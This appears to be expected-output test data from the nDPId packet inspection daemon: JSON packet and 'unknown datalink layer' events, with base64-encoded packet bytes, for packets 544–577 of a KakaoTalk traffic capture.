+00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":544,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":114783,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIcAAEAAPxHbGwoYUrwByQGuLDhaBABzQ6mAbE8oiztXWguGVRnNM9HTBSlX5M1EBoCqSxCoo\/y4C0DNLyWHH72DFdIfX3bLtM20n1pKbjpMm9ncpZn1FruZozD6e1fiT2ngnvxRY5HbqaNsneMnIUXj\/z+H939ZoFELlN5n3tGQ6Y\/dLA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":544,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":545,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":120551,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJQAAEAAPxHbDgoYUrwByQGuLDhaBACAHwuAbE8piztbGguGVRm5xzS5mipLtxb40Fu91SoJNHfPL1NWj3h1F94VfuMMZVyeNJH1sV6fkpbkp26V1XQcsJIdOvuKK8rqbKW97MidYpxG+uNkk775Po1NswYDXSTQEatS\/Hm9RYQ4SIFQLVc421rCtlXiXvQ2+Zk="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":545,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":546,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":128821,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABk7\/+AbDGtfqq1Q1SapdqmuD+I+KQx1gUys6Lms+7SXX6+3Lpsh+WpT2n79GSDpUyyWJVfidI24uPcidmqlprrxDFXsJwqLjlH6XGNcFjv5Fz0o9Oh4qDlAmBAgYdhPg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":546,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00507{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":547,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":135626,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIcAAEAAHBH98wHJAa4KGFK8WgYoHABzc6mAbE8niztTmguGVRnn7yfP+nP4saCIip4ytuerqTMUqudgvqhMRrfl+lcX8zB3pzqIe5hu6QyBGihqJ4DeAlNtfW7HbRKJiAzi+2H6Vt+wbAGKG598gSHJHbo+blGzD1+pvaeWv3nmvjkOHg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":547,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":548,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":146216,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMliCAbDGvfqq8w1SapdqL7Ov+vkornzI6\/j97jtmp1Gi3viA2gNyNxsmWwLA7ufJ9RsaxnfJqRMqgnKzX8+OdjNel\/+ddtg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":548,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":549,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":184241,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGv2mAbDGwfqrAg1SapdobJhYVhBU5NSiK\/aM36CDeaS7RxdGGdFkpBhcWbgXl1r4gM9E+t4i8VqtL59srK1SNCw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":549,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00516{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":550,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":221442,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB7lnyAbE8qizte2guGVRmkVcGkv5qoP76rx6ZYfY7GiTIGFH3VyoFwOJwoxISj88mHRaYSwI4bpXhcyoEyAGViv2tiDLBVfILpcZ\/+A0Qiv1VBa8ICUMDRQrx5CDqmf55Z9q2TcM6DRtGf6jFYLpTtIAEvHvWq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":550,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":551,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":221595,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAPxHbHgoYUrwByQGuLDhaBABwDPmAbE8riztimguGVRmG1ltXDNKfy76eT4wId+ArFyrzegdeZTbHlVMvCLs2c2+EA2soMsfpOe21jomDTNX7o61QW3JeThHyygaP47YW4GNZ+Sx1shfUeE+kMhoGKY9HGe7dqwJzl3ZTHA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":551,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":552,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":228034,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZWiaAbDGufqq5A1SapdoDF2jTcUW8rpA6q+ygWyOEEp5ZyaIh54nEeCTA5rmIBBuRB80AJ4ucZj+GRJZbF8pje\/mBAwRAKPxIg3bC3blDWSOwZwM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":552,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":553,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":239569,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIcAAEAAHBH98wHJAa4KGFK8WgYoHABzR8OAbE8oiztXWguGVRnNM9HTBSlX5M1EBoCqSxCoo\/y4C0DNLyWHH72DFdIfX3bLtM20n1pKbjpMm9ncpZn1FruZozD6e1fiT2ngnvxRY5HbqaNsneMnIUXj\/z+H939ZoFELlN5n3tGQ6Y\/dLA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":553,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":554,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":247595,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJQAAEAAHBH95gHJAa4KGFK8WgYoHACAIyWAbE8piztbGguGVRm5xzS5mipLtxb40Fu91SoJNHfPL1NWj3h1F94VfuMMZVyeNJH1sV6fkpbkp26V1XQcsJIdOvuKK8rqbKW97MidYpxG+uNkk775Po1NswYDXSTQEatS\/Hm9RYQ4SIFQLVc421rCtlXiXvQ2+Zk="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":554,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":555,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":284156,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFQAAEAAQBHaTgoYUrwByQGuKBxaBgBAOhyAbDGxfqrEQ1SapdqXOPxAf1HcW4NcEfpMIQJqPT2EMk+Iyf9AAqHTtNg\/3Sdo8+VQ+\/odyIY\/6Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":555,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":556,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":295813,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMkgaAbDGvfqq8w1SapdqL7Ov+vkornzI6\/j97jtmp1Gi3viA2gNyNxsmWwLA7ufJ9RsaxnfJqRMqgnKzX8+OdjNel\/+ddtg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":556,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":557,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":309424,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIMAAEAAPxHbHwoYUrwByQGuLDhaBABvpTeAbE8siztmWguGVRmxSmX3Ps7VgGx7fojWq1jUPRk\/jmBGheB+JJnoe0+kTNtzXlSFwI138RPDPgVgJYK4IIyHAZXzoU0F4HgYIvyuYiEsmQXGQltbampcAP8WxyJFeMF3w+ExGi4G"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":557,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":558,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":320960,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/uk6AbDGyfqrIA1SapdqeMZVSg2ahRGvJ+fV\/f6CYoL61vwZEWn62A8ICziEsorG0z7PZrXS56Y+u"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":558,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":559,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":335669,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGu0+AbDGwfqrAg1SapdobJhYVhBU5NSiK\/aM36CDeaS7RxdGGdFkpBhcWbgXl1r4gM9E+t4i8VqtL59srK1SNCw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":559,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00516{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":560,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":395819,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHBH96wHJAa4KGFK8WgYoHAB7mpaAbE8qizte2guGVRmkVcGkv5qoP76rx6ZYfY7GiTIGFH3VyoFwOJwoxISj88mHRaYSwI4bpXhcyoEyAGViv2tiDLBVfILpcZ\/+A0Qiv1VBa8ICUMDRQrx5CDqmf55Z9q2TcM6DRtGf6jFYLpTtIAEvHvWq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":560,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":561,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":408240,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/yCCAbDGzfqrLw1SapdrgvC65LYHxIYZ+hmOeZ06egXqsHNROyh6Ktbd\/Fqo9RSC1bklbKZ8bvXCN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":561,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":562,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":413306,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH8AAEAAPxHbIwoYUrwByQGuLDhaBABrdcSAbE8tiztqGguGVRnubRWKNusVuNN5RfwTOekASa21lb2y35xEGwhLPTxOsTOWehHDqisEksqB0MzR2RWN+Fsj\/d25A\/ce5uV4DKwNKKHKO5eJnxpjv9LyiWKnAdidgXwwY44="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":562,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":563,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":413459,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG8AAEAAPxHbMwoYUrwByQGuLDhaBABbBwuAbE8uiztt2guGVRkATt7i69mQTiNc6GM2GnuP46eipflC11+yvunwJi+oW6usLn1\/GJ0Q4LfC\/MFk+n9QWgtP3BJwtOOPzYGctLn9GJcBvz7wrg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":563,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":564,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":435736,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHBH99gHJAa4KGFK8WgYoHABwEROAbE8riztimguGVRmG1ltXDNKfy76eT4wId+ArFyrzegdeZTbHlVMvCLs2c2+EA2soMsfpOe21jomDTNX7o61QW3JeThHyygaP47YW4GNZ+Sx1shfUeE+kMhoGKY9HGe7dqwJzl3ZTHA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":564,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":565,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":441779,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZXyAbDG0fqrPg1SapdryqAoYDFApAtaosJgZZS6F\/ZnkTlTXTxjcjE\/7gmIjBym7WxxwZwZe3huK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":565,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":566,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":484839,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/1aCAbDG1fqrTQ1SapdpMeZDWOdCEYyVIp083eyrbrqAYV3MWaKLkzZ4dxnjJV5vCesh1mMngZvoM"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":566,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":567,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":489051,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFQAAEAAHRH9JgHJAa4KGFK8WgQsOABANgKAbDGxfqrEQ1SapdqXOPxAf1HcW4NcEfpMIQJqPT2EMk+Iyf9AAqHTtNg\/3Sdo8+VQ+\/odyIY\/6Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":567,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":568,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":510779,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG4AAEAAPxHbNAoYUrwByQGuLDhaBABaE\/OAbE8viztxmguGVRl9lqvtv5gnI3lHluCpiKr9OujNGi1Fg34DS2JUSrBRzBLhijIlycknzuH2k69MIycXZYGjSPTgrK7Ttce0MTv5sy7Tt+WY"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":568,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":569,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":510932,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG4AAEAAPxHbNAoYUrwByQGuLDhaBABaveSAbE8wizt1WguGVRnfch28HPwk8+ZZhucOUJBYJ6OjqeC3uB6rL4Pr2pHS0gmqkIRV9E\/Gs6O\/hLKqws3PYg5hjLueeZtFNfnCKJPsiXbj7tgT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":569,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":570,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":515601,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIMAAEAAHBH99wHJAa4KGFK8WgYoHABvqVGAbE8siztmWguGVRmxSmX3Ps7VgGx7fojWq1jUPRk\/jmBGheB+JJnoe0+kTNtzXlSFwI138RPDPgVgJYK4IIyHAZXzoU0F4HgYIvyuYiEsmQXGQltbampcAP8WxyJFeMF3w+ExGi4G"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":570,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":571,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":584937,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/svSAbDG2fqrXA1Sapdr4ENlJ5uhQkKkSt5NbZ2IM6yIemrnaThWJ6jI7vIS9H0bq8JayDMBieHHX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":571,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":572,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":587866,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/tjSAbDGyfqrIA1SapdqeMZVSg2ahRGvJ+fV\/f6CYoL61vwZEWn62A8ICziEsorG0z7PZrXS56Y+u"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":572,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":573,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":609809,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHUAAEAAPxHbLQoYUrwByQGuLDhaBABh2KSAbE8xizt5GguGVRkKs8kqt8Q\/Zm6F020ByTczUMieN4i8FBqIibBAp3sfCQIpHj1QKbmQ25JnThfmwuQPpv4sQFk0NwdCP9lVGH6dgSgVXqctA2pOkZmeLA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":573,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":574,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":615607,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/xAaAbDGzfqrLw1SapdrgvC65LYHxIYZ+hmOeZ06egXqsHNROyh6Ktbd\/Fqo9RSC1bklbKZ8bvXCN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":574,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":575,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":625495,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/yeWAbDG3fqraw1Sapdp9Y6CxoXNLjEl713HSwxQlnzfWciXsN9k\/wdO9Oh60ae8cp+Sn2Bmb9z4V"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":575,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":576,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":664954,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/G9CAbDG4fqreg1SapdqJrvGDidhzPxwwno7pZSNW\/AGpeESgBC3gEOb9fE4cZuCdnLsCMaJUXrrp"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":576,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":577,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":688849,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH8AAEAAHBH9+wHJAa4KGFK8WgYoHABred6AbE8tiztqGguGVRnubRWKNusVuNN5RfwTOekASa21lb2y35xEGwhLPTxOsTOWehHDqisEksqB0MzR2RWN+Fsj\/d25A\/ce5uV4DKwNKKHKO5eJnxpjv9LyiWKnAdidgXwwY44="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":577,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 